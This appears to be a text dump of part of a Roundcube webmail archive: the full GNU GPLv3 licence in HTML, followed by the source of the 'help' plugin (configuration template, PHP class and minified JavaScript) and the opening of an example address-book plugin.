<p>&ldquo;The Program&rdquo; refers to any copyrightable work licensed under this
License.  Each licensee is addressed as &ldquo;you&rdquo;.  &ldquo;Licensees&rdquo; and
&ldquo;recipients&rdquo; may be individuals or organizations.</p>

<p>To &ldquo;modify&rdquo; a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a &ldquo;modified version&rdquo; of the
earlier work or a work &ldquo;based on&rdquo; the earlier work.</p>

<p>A &ldquo;covered work&rdquo; means either the unmodified Program or a work based
on the Program.</p>

<p>To &ldquo;propagate&rdquo; a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.</p>

<p>To &ldquo;convey&rdquo; a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.</p>

<p>An interactive user interface displays &ldquo;Appropriate Legal Notices&rdquo;
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.</p>

<h4><a name="section1"></a>1. Source Code.</h4>

<p>The &ldquo;source code&rdquo; for a work means the preferred form of the work
for making modifications to it.  &ldquo;Object code&rdquo; means any non-source
form of a work.</p>

<p>A &ldquo;Standard Interface&rdquo; means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.</p>

<p>The &ldquo;System Libraries&rdquo; of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
&ldquo;Major Component&rdquo;, in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.</p>

<p>The &ldquo;Corresponding Source&rdquo; for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.</p>

<p>The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.</p>

<p>The Corresponding Source for a work in source code form is that
same work.</p>

<h4><a name="section2"></a>2. Basic Permissions.</h4>

<p>All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.</p>

<p>You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.</p>

<p>Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.</p>

<h4><a name="section3"></a>3. Protecting Users' Legal Rights From Anti-Circumvention Law.</h4>

<p>No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.</p>

<p>When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.</p>

<h4><a name="section4"></a>4. Conveying Verbatim Copies.</h4>

<p>You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.</p>

<p>You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.</p>

<h4><a name="section5"></a>5. Conveying Modified Source Versions.</h4>

<p>You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:</p>

<ul>
<li>a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.</li>

<li>b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    &ldquo;keep intact all notices&rdquo;.</li>

<li>c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.</li>

<li>d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.</li>

</ul>

<p>A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
&ldquo;aggregate&rdquo; if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.</p>

<h4><a name="section6"></a>6. Conveying Non-Source Forms.</h4>

<p>You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:</p>

<ul>
<li>a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.</li>

<li>b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.</li>

<li>c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.</li>

<li>d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.</li>

<li>e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.</li>
</ul>

<p>A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.</p>

<p>A &ldquo;User Product&rdquo; is either (1) a &ldquo;consumer product&rdquo;, which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, &ldquo;normally used&rdquo; refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.</p>

<p>&ldquo;Installation Information&rdquo; for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.</p>

<p>If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).</p>

<p>The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.</p>

<p>Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.</p>

<h4><a name="section7"></a>7. Additional Terms.</h4>

<p>&ldquo;Additional permissions&rdquo; are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.</p>

<p>When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.</p>

<p>Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:</p>

<ul>
<li>a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or</li>

<li>b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or</li>

<li>c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or</li>

<li>d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or</li>

<li>e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or</li>

<li>f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.</li>
</ul>

<p>All other non-permissive additional terms are considered &ldquo;further
restrictions&rdquo; within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.</p>

<p>If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.</p>

<p>Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.</p>

<h4><a name="section8"></a>8. Termination.</h4>

<p>You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).</p>

<p>However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.</p>

<p>Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.</p>

<p>Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.</p>

<h4><a name="section9"></a>9. Acceptance Not Required for Having Copies.</h4>

<p>You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.</p>

<h4><a name="section10"></a>10. Automatic Licensing of Downstream Recipients.</h4>

<p>Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.</p>

<p>An &ldquo;entity transaction&rdquo; is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.</p>

<p>You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.</p>

<h4><a name="section11"></a>11. Patents.</h4>

<p>A &ldquo;contributor&rdquo; is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's &ldquo;contributor version&rdquo;.</p>

<p>A contributor's &ldquo;essential patent claims&rdquo; are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, &ldquo;control&rdquo; includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.</p>

<p>Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.</p>

<p>In the following three paragraphs, a &ldquo;patent license&rdquo; is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To &ldquo;grant&rdquo; such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.</p>

<p>If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  &ldquo;Knowingly relying&rdquo; means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.</p>

  
<p>If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.</p>

<p>A patent license is &ldquo;discriminatory&rdquo; if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.</p>

<p>Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.</p>

<h4><a name="section12"></a>12. No Surrender of Others' Freedom.</h4>

<p>If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.</p>

<h4><a name="section13"></a>13. Use with the GNU Affero General Public License.</h4>

<p>Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.</p>

<h4><a name="section14"></a>14. Revised Versions of this License.</h4>

<p>The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.</p>

<p>Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License &ldquo;or any later version&rdquo; applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.</p>

<p>If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.</p>

<p>Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.</p>

<h4><a name="section15"></a>15. Disclaimer of Warranty.</h4>

<p>THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM &ldquo;AS IS&rdquo; WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.</p>

<h4><a name="section16"></a>16. Limitation of Liability.</h4>

<p>IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.</p>

<h4><a name="section17"></a>17. Interpretation of Sections 15 and 16.</h4>

<p>If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.</p>

<p>END OF TERMS AND CONDITIONS</p>

<h3><a name="howto"></a>How to Apply These Terms to Your New Programs</h3>

<p>If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.</p>

<p>To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the &ldquo;copyright&rdquo; line and a pointer to where the full notice is found.</p>

<pre>    &lt;one line to give the program's name and a brief idea of what it does.&gt;
    Copyright (C) &lt;year&gt;  &lt;name of author&gt;

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program. If not, see &lt;http://www.gnu.org/licenses/&gt;.
</pre>

<p>Also add information on how to contact you by electronic and paper mail.</p>

<p>If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:</p>

<pre>    &lt;program&gt;  Copyright (C) &lt;year&gt;  &lt;name of author&gt;

    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.
</pre>

<p>The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an &ldquo;about box&rdquo;.</p>

<p>You should also get your employer (if you work as a programmer) or school,
if any, to sign a &ldquo;copyright disclaimer&rdquo; for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
&lt;<a href="http://www.gnu.org/licenses/">http://www.gnu.org/licenses/</a>&gt;.</p>

<p>The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
&lt;<a href="http://www.gnu.org/philosophy/why-not-lgpl.html">http://www.gnu.org/philosophy/why-not-lgpl.html</a>&gt;.</p>
PKh�\bX�`` plugins/help/config.inc.php.distnu�[���<?php

// Help content iframe source
// %l will be replaced by the language code resolved using the 'help_language_map' option
// If you are serving roundcube via https, then change this URL to https also.
$config['help_source'] = 'https://docs.roundcube.net/doc/help/1.1/%l/';

// Map task/action combinations to deep-links
// Use '<task>/<action>' or only '<task>' strings as keys
// The values will be appended to the 'help_source' URL
$config['help_index_map'] = [
    'login'                => 'login.html',
    'mail'                 => 'mail/index.html',
    'mail/compose'         => 'mail/compose.html',
    'addressbook'          => 'addressbook/index.html',
    'settings'             => 'settings/index.html',
    'settings/preferences' => 'settings/preferences.html',
    'settings/folders'     => 'settings/folders.html',
    'settings/identities'  => 'settings/identities.html',
];

// Map to translate Roundcube language codes into help document languages
// The '*' entry will be used as default
$config['help_language_map'] = ['*' => 'en_US'];

// Enter an absolute URL to a page displaying information about this webmail
// Alternatively, create a HTML file under <this-plugin-dir>/content/about.html
$config['help_about_url'] = null;

// Enter an absolute URL to a page displaying information about this webmail
// Alternatively, put your license text to <this-plugin-dir>/content/license.html
$config['help_license_url'] = null;

// Determine whether to open the help in a new window
$config['help_open_extwin'] = false;

// URL to additional information about CSRF protection
$config['help_csrf_info'] = null;
PKh�\:��kkplugins/help/help.phpnu�[���<?php

/**
 * Roundcube Help Plugin
 *
 * @author Aleksander 'A.L.E.C' Machniak
 * @author Thomas Bruederli <thomas@roundcube.net>
 * @license GNU GPLv3+
 *
 * Configuration (see config.inc.php.dist)
 */

class help extends rcube_plugin
{
    // all task excluding 'login' and 'logout'
    public $task = '?(?!login|logout).*';

    // we've got no ajax handlers
    public $noajax = true;

    function init()
    {
        $this->load_config();
        $this->add_texts('localization/', false);

        // register task
        $this->register_task('help');

        // register actions
        $this->register_action('index', [$this, 'action']);
        $this->register_action('about', [$this, 'action']);
        $this->register_action('license', [$this, 'action']);

        $this->add_hook('startup', [$this, 'startup']);
        $this->add_hook('error_page', [$this, 'error_page']);
    }

    function startup($args)
    {
        $rcmail = rcmail::get_instance();

        if (!$rcmail->output->framed) {
            // add taskbar button
            $this->add_button([
                    'command'    => 'help',
                    'class'      => 'button-help',
                    'classsel'   => 'button-help button-selected',
                    'innerclass' => 'button-inner',
                    'label'      => 'help.help',
                    'type'       => 'link',
                ], 'taskbar'
            );

            $this->include_script('help.js');
            $rcmail->output->set_env('help_open_extwin', $rcmail->config->get('help_open_extwin', false), true);
        }

        // add style for taskbar button (must be here) and Help UI
        $this->include_stylesheet($this->local_skin_path() . '/help.css');
    }

    function action()
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->action == 'about') {
            $rcmail->output->set_pagetitle($this->gettext('about'));
        }
        else if ($rcmail->action == 'license') {
            $rcmail->output->set_pagetitle($this->gettext('license'));
        }
        else {
            $rcmail->output->set_pagetitle($this->gettext('help'));
        }

        // register UI objects
        $rcmail->output->add_handlers([
                'helpcontent'  => [$this, 'help_content'],
                'tablink'      => [$this, 'tablink'],
        ]);

        $rcmail->output->set_env('help_links', $this->help_metadata());
        $rcmail->output->send(!empty($_GET['_content']) ? 'help.content' : 'help.help');
    }

    function help_content($attrib)
    {
        $rcmail = rcmail::get_instance();
//        $rcmail->output->set_env('content', $content);

        if (!empty($_GET['_content'])) {
            if ($rcmail->action == 'about') {
                return file_get_contents($this->home . '/content/about.html');
            }
            else if ($rcmail->action == 'license') {
                return file_get_contents($this->home . '/content/license.html');
            }
        }
    }

    function tablink($attrib)
    {
        $rcmail = rcmail::get_instance();

        $attrib['name'] = 'helplink' . $attrib['action'];
        $attrib['href'] = $rcmail->url(['_action' => $attrib['action'], '_extwin' => !empty($_REQUEST['_extwin']) ? 1 : null]);
        $attrib['rel']  = $attrib['action'];

        // title might be already translated here, so revert to it's initial value
        // so button() will translate it correctly
        $attrib['title'] = $attrib['label'];

        $attrib['onclick'] = sprintf("return show_help_content('%s', event)", $attrib['action']);

        return $rcmail->output->button($attrib);
    }

    function help_metadata()
    {
        $rcmail  = rcmail::get_instance();
        $content = [];

        // About
        if (is_readable($this->home . '/content/about.html')) {
            $content['about'] = 'self';
        }
        else {
            $default = $rcmail->url(['_task' => 'settings', '_action' => 'about', '_framed' => 1]);
            $content['about'] = $rcmail->config->get('help_about_url', $default);
            $content['about'] = $this->resolve_language($content['about']);
        }

        // License
        if (is_readable($this->home . '/content/license.html')) {
            $content['license'] = 'self';
        }
        else {
            $content['license'] = $rcmail->config->get('help_license_url', 'http://www.gnu.org/licenses/gpl-3.0-standalone.html');
            $content['license'] = $this->resolve_language($content['license']);
        }

        // Help Index
        $src       = $rcmail->config->get('help_source', 'http://docs.roundcube.net/doc/help/1.1/%l/');
        $index_map = $rcmail->config->get('help_index_map', []);

        // resolve task/action for deep linking
        $rel = !empty($_REQUEST['_rel']) ? $_REQUEST['_rel'] : '';
        list($task, ) = explode('/', $rel);
        if (!empty($index_map[$rel])) {
            $src .= $index_map[$rel];
        }
        else if (!empty($index_map[$task])) {
            $src .= $index_map[$task];
        }

        $content['index'] = $this->resolve_language($src);

        return $content;
    }

    function error_page($args)
    {
        $rcmail = rcmail::get_instance();

        if (
            $args['code'] == 403
            && $rcmail->request_status == rcube::REQUEST_ERROR_URL
            && ($url = $rcmail->config->get('help_csrf_info'))
        ) {
            $args['text'] .= '<p>' . html::a(['href' => $url, 'target' => '_blank'], $this->gettext('csrfinfo')) . '</p>';
        }

        return $args;
    }

    private function resolve_language($path)
    {
        // resolve language placeholder
        $rcmail  = rcmail::get_instance();
        $langmap = $rcmail->config->get('help_language_map', ['*' => 'en_US']);
        $lang    = !empty($langmap[$_SESSION['language']]) ? $langmap[$_SESSION['language']] : $langmap['*'];

        return str_replace('%l', $lang, $path);
    }
}
PKh�\�Yv##plugins/help/help.min.jsnu�[���/**
 * Help plugin client script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
function show_help_content(e,n){var a,i=window,r=rcmail.env.help_links[e];return(a=rcmail.get_frame_window(rcmail.env.contentframe))&&(i=a,r+=(-1<r.indexOf("?")?"&":"?")+"_framed=1"),rcmail.env.extwin&&(r+=(-1<r.indexOf("?")?"&":"?")+"_extwin=1"),/^self/.test(r)&&(r=r.substr(4)+"&_content=1&_task=help&_action="+e),rcmail.env.help_action_item=n?n.target:$('[rel="'+e+'"]'),rcmail.show_contentframe(!0),rcmail.location_href(r,i,!0),!1}window.rcmail&&(rcmail.addEventListener("beforeswitch-task",function(e){if("help"==e)return"help"!=rcmail.task&&(e=rcmail.url("help/index",{_rel:rcmail.task+(rcmail.env.action?"/"+rcmail.env.action:"")}),rcmail.env.help_open_extwin?rcmail.open_window(e,1020,!1):rcmail.redirect(e,!1)),!1}),rcmail.addEventListener("init",function(e){if(rcmail.env.contentframe&&"help"==rcmail.task){$("#"+rcmail.env.contentframe).on("load error",function(e){rcmail.set_busy(!1,null,rcmail.env.frame_lock),rcmail.env.frame_lock=null,"load"==e.type&&($(rcmail.env.help_action_item).parents("ul").children().removeClass("selected"),$(rcmail.env.help_action_item).parent().addClass("selected"))});try{var n=rcmail.get_frame_window(rcmail.env.contentframe);n&&0<=n.location.href.indexOf(rcmail.env.blankpage)&&show_help_content(rcmail.env.action)}catch(e){}}}));
PKh�\���U��3plugins/example_addressbook/example_addressbook.phpnu�[���<?php

require_once(__DIR__ . '/example_addressbook_backend.php');

/**
 * Sample plugin to add a new address book
 * with just a static list of contacts
 *
 * @license GNU GPLv3+
 * @author Thomas Bruederli
 */
class example_addressbook extends rcube_plugin
{
    private $abook_id = 'static';
    private $abook_name = 'Static List';

    public function init()
    {
        $this->add_hook('addressbooks_list', [$this, 'address_sources']);
        $this->add_hook('addressbook_get', [$this, 'get_address_book']);

        // use this address book for autocompletion queries
        // (maybe this should be configurable by the user?)
